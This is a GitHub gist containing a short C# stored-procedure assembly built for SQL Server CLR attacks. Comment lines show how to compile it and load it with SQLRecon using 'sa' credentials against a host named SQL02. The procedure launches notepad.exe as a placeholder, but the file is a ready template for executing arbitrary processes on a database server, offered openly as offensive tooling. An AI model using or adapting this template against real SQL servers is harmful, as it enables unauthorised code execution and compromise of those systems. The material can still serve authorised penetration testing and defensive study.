Last active
June 27, 2023 14:56
-
-
Save skahwah/c92a8ce41f529f40c14715c91b8f90ce to your computer and use it in GitHub Desktop.
Custom assembly that is compatible with SQL CLR attacks.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\sql.cs | |
//SQLRecon.exe /auth:local /host:SQL02 /username:sa /password:Password123 /module:clr /dll:c:\temp\sql.dll /function:CustomFunctionName | |
using System; | |
using System.Data; | |
using System.Data.SqlClient; | |
using System.Data.SqlTypes; | |
using Microsoft.SqlServer.Server; | |
using System.Diagnostics; | |
public partial class StoredProcedures | |
{ | |
[Microsoft.SqlServer.Server.SqlProcedure] | |
public static void CustomFunctionName () | |
{ | |
Process proc = new Process(); | |
proc.StartInfo.FileName = "C:\\Windows\\System32\\notepad.exe"; | |
proc.Start(); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment